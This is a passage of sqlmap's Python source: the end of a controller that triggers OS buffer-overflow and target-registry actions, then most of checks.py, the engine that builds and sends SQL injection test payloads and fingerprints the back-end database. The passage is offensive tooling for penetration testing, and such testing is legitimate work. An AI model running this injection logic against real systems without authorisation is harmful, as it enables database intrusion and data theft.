conf.dbmsHandler.osBof() # Windows registry options if conf.regRead: conf.dumper.registerValue(conf.dbmsHandler.regRead()) if conf.regAdd: conf.dbmsHandler.regAdd() if conf.regDel: conf.dbmsHandler.regDel() # Miscellaneous options if conf.cleanup: conf.dbmsHandler.cleanup() if conf.direct: conf.dbmsConnector.close() sqlmap-1.2.4/lib/controller/checks.py000066400000000000000000002160141326012263700175640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import copy import httplib import logging import os import random import re import socket import subprocess import tempfile import time from extra.beep.beep import beep from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import extractTextTagContent from lib.core.common import findDynamicContent from lib.core.common import Format from lib.core.common import getFilteredPageContent from lib.core.common import getLastRequestHTTPError from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import getSortedInjectionTests from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect from lib.core.common import listToStrValue from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import showStaticWords from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import urlencode from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.defaults import defaults from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import NOTE from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_VALUE from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IDS_WAF_CHECK_RATIO from lib.core.settings import IDS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import UPPER_RATIO_BOUND from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion def checkSqlInjection(place, parameter, value): # Store here the details about boundaries and payload used to # successfully inject injection = InjectionDict() # Localized thread data needed for some methods threadData = getCurrentThreadData() # Favoring non-string specific boundaries in case of digit-like parameter values if value.isdigit(): kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) boundaries = kb.cache.intBoundaries elif value.isalpha(): kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) boundaries = kb.cache.alphaBoundaries else: boundaries = conf.boundaries # Set the flag for SQL injection test mode kb.testMode = True paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place tests = getSortedInjectionTests() seenPayload = set() kb.data.setdefault("randomInt", str(randomInt(10))) kb.data.setdefault("randomStr", str(randomStr(10))) while tests: test = tests.pop(0) try: if kb.endDetection: break if conf.dbms is None: # If the DBMS has not yet been fingerprinted (via simple heuristic check # or via DBMS-specific payload) and boolean-based blind has been identified # then attempt to identify with a simple DBMS specific boolean-based # test what the DBMS may be if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: kb.heuristicDbms = heuristicCheckDbms(injection) # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted # DBMS if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] # If the DBMS has been fingerprinted (via DBMS-specific error # message, via simple heuristic check or via DBMS-specific # payload), ask the user to extend the tests to all DBMS-specific, # regardless of --level and --risk values provided if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "for the remaining tests, do you want to include all tests " msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] title = test.title kb.testType = stype = test.stype clause = test.clause unionExtended = False trueCode, falseCode = None, None if conf.httpCollector is not None: conf.httpCollector.setExtendedArguments({ "_title": title, "_place": place, "_parameter": parameter, }) if stype == PAYLOAD.TECHNIQUE.UNION: configUnion(test.request.char) if "[CHAR]" in title: if conf.uChar is None: continue else: title = title.replace("[CHAR]", conf.uChar) elif "[RANDNUM]" in title or "(NULL)" in title: title = title.replace("[RANDNUM]", "random number") if test.request.columns == "[COLSTART]-[COLSTOP]": if conf.uCols is None: continue else: title = title.replace("[COLSTART]", str(conf.uColsStart)) title = title.replace("[COLSTOP]", str(conf.uColsStop)) elif conf.uCols is not None: debugMsg = "skipping test '%s' because the user " % title debugMsg += "provided custom column range %s" % conf.uCols logger.debug(debugMsg) continue match = re.search(r"(\d+)-(\d+)", test.request.columns) if match and injection.data: lower, upper = int(match.group(1)), int(match.group(2)) for _ in (lower, upper): if _ > 1: __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _ unionExtended = True test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns) title = re.sub(r"\b%d\b" % _, str(__), title) test.title = re.sub(r"\b%d\b" % _, str(__), test.title) # Skip test if the user's wants to test only for a specific # technique if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech: debugMsg = "skipping test '%s' because the user " % title debugMsg += "specified to test only for " debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech) logger.debug(debugMsg) continue # Skip test if it is the same SQL injection type already # identified by another test if injection.data and stype in injection.data: debugMsg = "skipping test '%s' because " % title debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype] debugMsg += "already been identified" logger.debug(debugMsg) continue # Parse DBMS-specific payloads' details if "details" in test and "dbms" in test.details: payloadDbms = test.details.dbms else: payloadDbms = None # Skip tests if title, vector or DBMS is not included by the # given test filter if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is not included by the given filter" logger.debug(debugMsg) continue # Skip tests if title, vector or DBMS is included by the # given skip filter if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is included by the given skip filter" logger.debug(debugMsg) continue if payloadDbms is not None: # Skip DBMS-specific test if it does not match the user's # provided DBMS if conf.dbms and not intersect(payloadDbms, conf.dbms, True): debugMsg = "skipping test '%s' because " % title debugMsg += "its declared DBMS is different than provided" logger.debug(debugMsg) continue if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True): debugMsg = "skipping test '%s' because " % title debugMsg += "its declared DBMS is different than provided" logger.debug(debugMsg) continue # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific payload) if injection.dbms and not intersect(payloadDbms, injection.dbms, True): debugMsg = "skipping test '%s' because " % title debugMsg += "its declared DBMS is different than identified" logger.debug(debugMsg) continue # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific error message) if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): debugMsg = "skipping test '%s' because the heuristic " % title debugMsg += "tests showed that the back-end DBMS " debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests) logger.debug(debugMsg) continue # If the user did not decide to extend the tests to all # DBMS-specific or the test payloads is not specific to the # identified DBMS, then only test for it if both level and risk # are below the corrisponding configuration's level and risk # values if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): # Skip test if the risk is higher than the provided (or default) # value if test.risk > conf.risk: debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk) debugMsg += "is higher than the provided (%d)" % conf.risk logger.debug(debugMsg) continue # Skip test if the level is higher than the provided (or default) # value if test.level > conf.level: debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level) debugMsg += "is higher than the provided (%d)" % conf.level logger.debug(debugMsg) continue # Skip test if it does not match the same SQL injection clause # already identified by another test clauseMatch = False for clauseTest in clause: if injection.clause is not None and clauseTest in injection.clause: clauseMatch = True break if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch: debugMsg = "skipping test '%s' because the clauses " % title debugMsg += "differ from the clause already identified" logger.debug(debugMsg) continue # Skip test if the user provided custom character (for UNION-based payloads) if conf.uChar is not None and ("random number" in title or "(NULL)" in title): debugMsg = "skipping test '%s' because the user " % title debugMsg += "provided a specific character, %s" % conf.uChar logger.debug(debugMsg) continue if stype == PAYLOAD.TECHNIQUE.UNION: match = re.search(r"(\d+)-(\d+)", test.request.columns) if match and not injection.data: _ = test.request.columns.split('-')[-1] if conf.uCols is None and _.isdigit() and int(_) > 10: if kb.futileUnion is None: msg = "it is not recommended to perform " msg += "extended UNION tests if there is not " msg += "at least one other (potential) " msg += "technique found. Do you want to skip? [Y/n] " kb.futileUnion = not readInput(msg, default='Y', boolean=True) if kb.futileUnion is False: debugMsg = "skipping test '%s'" % title logger.debug(debugMsg) continue infoMsg = "testing '%s'" % title logger.info(infoMsg) # Force back-end DBMS according to the current test DBMS value # for proper payload unescaping Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms) # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) for boundary in boundaries: injectable = False # Skip boundary if the level is higher than the provided (or # default) value # Parse boundary's if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): continue # Skip boundary if it does not match against test's # Parse test's and boundary's clauseMatch = False for clauseTest in test.clause: if clauseTest in boundary.clause: clauseMatch = True break if test.clause != [0] and boundary.clause != [0] and not clauseMatch: continue # Skip boundary if it does not match against test's # Parse test's and boundary's whereMatch = False for where in test.where: if where in boundary.where: whereMatch = True break if not whereMatch: continue # Parse boundary's , and prefix = boundary.prefix if boundary.prefix else "" suffix = boundary.suffix if boundary.suffix else "" ptype = boundary.ptype # Options --prefix/--suffix have a higher priority (if set by user) prefix = conf.prefix if conf.prefix is not None else prefix suffix = conf.suffix if conf.suffix is not None else suffix comment = None if conf.suffix is not None else comment # If the previous injections succeeded, we know which prefix, # suffix and parameter type to use for further tests, no # need to cycle through the boundaries for the following tests condBound = (injection.prefix is not None and injection.suffix is not None) condBound &= (injection.prefix != prefix or injection.suffix != suffix) condType = injection.ptype is not None and injection.ptype != ptype # If the payload is an inline query test for it regardless # of previously identified injection types if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType): continue # For each test's for where in test.where: templatePayload = None vector = None # Threat the parameter original value according to the # test's tag if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: origValue = value if kb.tamperFunctions: templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.NEGATIVE: # Use different page template than the original # one as we are changing parameters value, which # will likely result in a different content if conf.invalidLogical: _ = int(kb.data.randomInt[:2]) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: origValue = kb.data.randomInt[:6] elif conf.invalidString: origValue = kb.data.randomStr[:6] else: origValue = "-%s" % kb.data.randomInt[:4] templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.REPLACE: origValue = "" kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place) # Forge request payload by prepending with boundary's # prefix and appending the boundary's suffix to the # test's ' ' string if fstPayload: boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) if reqPayload: if reqPayload in seenPayload: continue else: seenPayload.add(reqPayload) else: reqPayload = None # Perform the test's request and check whether or not the # payload was successful # Parse test's for method, check in test.response.items(): check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's # suffix to the test's ' ' # string boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) return cmpPayload # Useful to set kb.matchRatio at first based on # the False response content kb.matchRatio = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) Request.queryPage(genCmpPayload(), place, raise404=False) falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode falseRawResponse = "%s%s" % (falseHeaders, falsePage) # Perform the test's True request trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) if trueResult and not(truePage == falsePage and not kb.nullConnection): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) if not falseResult: if kb.negativeLogic: boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): _ = comparison(kb.heuristicPage, None, getRatioValue=True) if _ > kb.matchRatio: kb.matchRatio = _ logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) # Reducing false-positive "appears" messages in heavily dynamic environment if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False): continue injectable = True elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) if threadData.lastErrorPage and threadData.lastErrorPage[1]: errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n")) else: errorSet = set() if originalSet == trueSet != falseSet: candidates = trueSet - falseSet - errorSet if candidates: candidates = sorted(candidates, key=lambda _: len(_)) for candidate in candidates: if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: conf.string = candidate injectable = True infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) break if injectable: if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode: conf.code = trueCode infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code) logger.info(infoMsg) else: trueSet = set(extractTextTagContent(trueRawResponse)) trueSet = trueSet.union(__ for _ in trueSet for __ in _.split()) falseSet = set(extractTextTagContent(falseRawResponse)) falseSet = falseSet.union(__ for _ in falseSet for __ in _.split()) if threadData.lastErrorPage and threadData.lastErrorPage[1]: errorSet = set(extractTextTagContent(threadData.lastErrorPage[1])) errorSet = errorSet.union(__ for _ in errorSet for __ in _.split()) else: errorSet = set() candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))) if candidates: candidates = sorted(candidates, key=lambda _: len(_)) for candidate in candidates: if re.match(r"\A\w+\Z", candidate): break conf.string = candidate infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) if not any((conf.string, conf.notString)): candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))) if candidates: candidates = sorted(candidates, key=lambda _: len(_)) for candidate in candidates: if re.match(r"\A\w+\Z", candidate): break conf.notString = candidate infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'")) logger.info(infoMsg) if not any((conf.string, conf.notString, conf.code)): infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title) singleTimeLogMessage(infoMsg) # In case of error-based SQL injection elif method == PAYLOAD.METHOD.GREP: # Perform the test's request and grep the response # body for the test's regular expression try: page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: result = output == "1" if result: infoMsg = "%s parameter '%s' is '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True except SqlmapConnectionException, msg: debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " debugMsg += "error-based payload used ('%s')" % msg logger.debug(debugMsg) # In case of time-based blind or stacked queries # SQL injections elif method == PAYLOAD.METHOD.TIME: # Perform the test's request trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) trueCode = threadData.lastCode if trueResult: # Extra validation step (e.g. to check for DROP protection mechanisms) if SLEEP_TIME_MARKER in reqPayload: falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False) if falseResult: continue # Confirm test's results trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True # In case of UNION query SQL injection elif method == PAYLOAD.METHOD.UNION: # Test for UNION injection and set the sample # payload as well as the vector. # NOTE: vector is set to a tuple with 6 elements, # used afterwards by Agent.forgeUnionQuery() # method to forge the UNION query payload configUnion(test.request.char, test.request.columns) if len(kb.dbmsFilter or []) == 1: Backend.forceDbms(kb.dbmsFilter[0]) elif not Backend.getIdentifiedDbms(): if kb.heuristicDbms is None: if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data: warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " warnMsg += "back-end DBMS. You can try to " warnMsg += "explicitly set it with option '--dbms'" singleTimeWarnMessage(warnMsg) else: Backend.forceDbms(kb.heuristicDbms) if unionExtended: infoMsg = "automatically extending ranges for UNION " infoMsg += "query injection technique tests as " infoMsg += "there is at least one other (potential) " infoMsg += "technique found" singleTimeLogMessage(infoMsg) # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) if isinstance(reqPayload, basestring): infoMsg = "%s parameter '%s' is '%s' injectable" % (paramType, parameter, title) logger.info(infoMsg) injectable = True # Overwrite 'where' because it can be set # by unionTest() directly where = vector[6] kb.previousMethod = method if conf.offline: injectable = False # If the injection test was successful feed the injection # object with the test's details if injectable is True: # Feed with the boundaries details only the first time a # test has been successful if injection.place is None or injection.parameter is None: if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): injection.parameter = place else: injection.parameter = parameter injection.place = place injection.ptype = ptype injection.prefix = prefix injection.suffix = suffix injection.clause = clause # Feed with test details every time a test is successful if hasattr(test, "details"): for key, value in test.details.items(): if key == "dbms": injection.dbms = value if not isinstance(value, list): Backend.setDbms(value) else: Backend.forceDbms(value[0], True) elif key == "dbms_version" and injection.dbms_version is None and not conf.testFilter: injection.dbms_version = Backend.setVersion(value) elif key == "os" and injection.os is None: injection.os = Backend.setOs(value) if vector is None and "vector" in test and test.vector is not None: vector = test.vector injection.data[stype] = AttribDict() injection.data[stype].title = title injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload) injection.data[stype].where = where injection.data[stype].vector = vector injection.data[stype].comment = comment injection.data[stype].templatePayload = templatePayload injection.data[stype].matchRatio = kb.matchRatio injection.data[stype].trueCode = trueCode injection.data[stype].falseCode = falseCode injection.conf.textOnly = conf.textOnly injection.conf.titles = conf.titles injection.conf.code = conf.code injection.conf.string = conf.string injection.conf.notString = conf.notString injection.conf.regexp = conf.regexp injection.conf.optimize = conf.optimize if not kb.alerted: if conf.beep: beep() if conf.alert: infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert logger.info(infoMsg) process = subprocess.Popen(conf.alert, shell=True) process.wait() kb.alerted = True # There is no need to perform this test for other # tags break if injectable is True: kb.vulnHosts.add(conf.hostname) break # Reset forced back-end DBMS value Backend.flushForcedDbms() except KeyboardInterrupt: warnMsg = "user aborted during detection phase" logger.warn(warnMsg) if conf.multipleTargets: msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" choice = readInput(msg, default='T', checkBatch=False).upper() else: msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" choice = readInput(msg, default='S', checkBatch=False).upper() if choice == 'X': if conf.multipleTargets: raise SqlmapSkipTargetException elif choice == 'C': choice = None while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): if choice: logger.warn("invalid value") msg = "enter new verbosity level: [0-6] " choice = readInput(msg, default=str(conf.verbose), checkBatch=False) conf.verbose = int(choice) setVerbosity() tests.insert(0, test) elif choice == 'N': return None elif choice == 'E': kb.endDetection = True elif choice == 'Q': raise SqlmapUserQuitException finally: # Reset forced back-end DBMS value Backend.flushForcedDbms() Backend.flushForcedDbms(True) # Return the injection object if injection.place is not None and injection.parameter is not None: if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'): warnMsg = "in OR boolean-based injection cases, please consider usage " warnMsg += "of switch '--drop-set-cookie' if you experience any " warnMsg += "problems during data retrieval" logger.warn(warnMsg) if not checkFalsePositives(injection): kb.vulnHosts.remove(conf.hostname) if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) else: injection = None if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: checkSuhosinPatch(injection) checkFilteredChars(injection) return injection def heuristicCheckDbms(injection): """ This functions is called when boolean-based blind is identified with a generic payload and the DBMS has not yet been fingerprinted to attempt to identify with a simple DBMS specific boolean-based test what the DBMS may be """ retVal = False pushValue(kb.injection) kb.injection = injection for dbms in getPublicTypeMembers(DBMS, True): randStr1, randStr2 = randomStr(), randomStr() Backend.forceDbms(dbms) if conf.noEscape and dbms not in FROM_DUMMY_TABLE: continue if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = "heuristic (extended) test shows that the back-end DBMS " # Not as important as "parsing" counter-part (because of false-positives) infoMsg += "could be '%s' " % retVal logger.info(infoMsg) kb.heuristicExtendedDbms = retVal return retVal def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = True if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) def _(): return int(randomInt(2)) + 1 kb.injection = injection for i in xrange(conf.level): while True: randInt1, randInt2, randInt3 = (_() for j in xrange(3)) randInt1 = min(randInt1, randInt2, randInt3) randInt3 = max(randInt1, randInt2, randInt3) if randInt3 > randInt2 > randInt1: break if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)): retVal = False break # Just in case if DBMS hasn't properly recovered from previous delayed request if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: checkBooleanExpression("%d=%d" % (randInt1, randInt2)) if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True retVal = False break elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True retVal = False break elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True retVal = False break elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) retVal = False break if not retVal: warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) kb.injection = popValue() return retVal def checkSuhosinPatch(injection): """ Checks for existence of Suhosin-patch (and alike) protection mechanism(s) """ if injection.place == PLACE.GET: debugMsg = "checking for parameter length " debugMsg += "constraining mechanisms" logger.debug(debugMsg) pushValue(kb.injection) kb.injection = injection randInt = randomInt() if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): warnMsg = "parameter length constraining " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" logger.warn(warnMsg) kb.injection = popValue() def checkFilteredChars(injection): debugMsg = "checking for filtered characters" logger.debug(debugMsg) pushValue(kb.injection) kb.injection = injection randInt = randomInt() # all other techniques are already using parentheses in tests if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " warnMsg += "filtered by the back-end server. There is a strong " warnMsg += "possibility that sqlmap won't be able to properly " warnMsg += "exploit this vulnerability" logger.warn(warnMsg) # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): warnMsg = "it appears that the character '>' is " warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "advised to rerun with the '--tamper=between'" logger.warn(warnMsg) kb.injection = popValue() def heuristicCheckSqlInjection(place, parameter): if kb.nullConnection: debugMsg = "heuristic check skipped because NULL connection used" 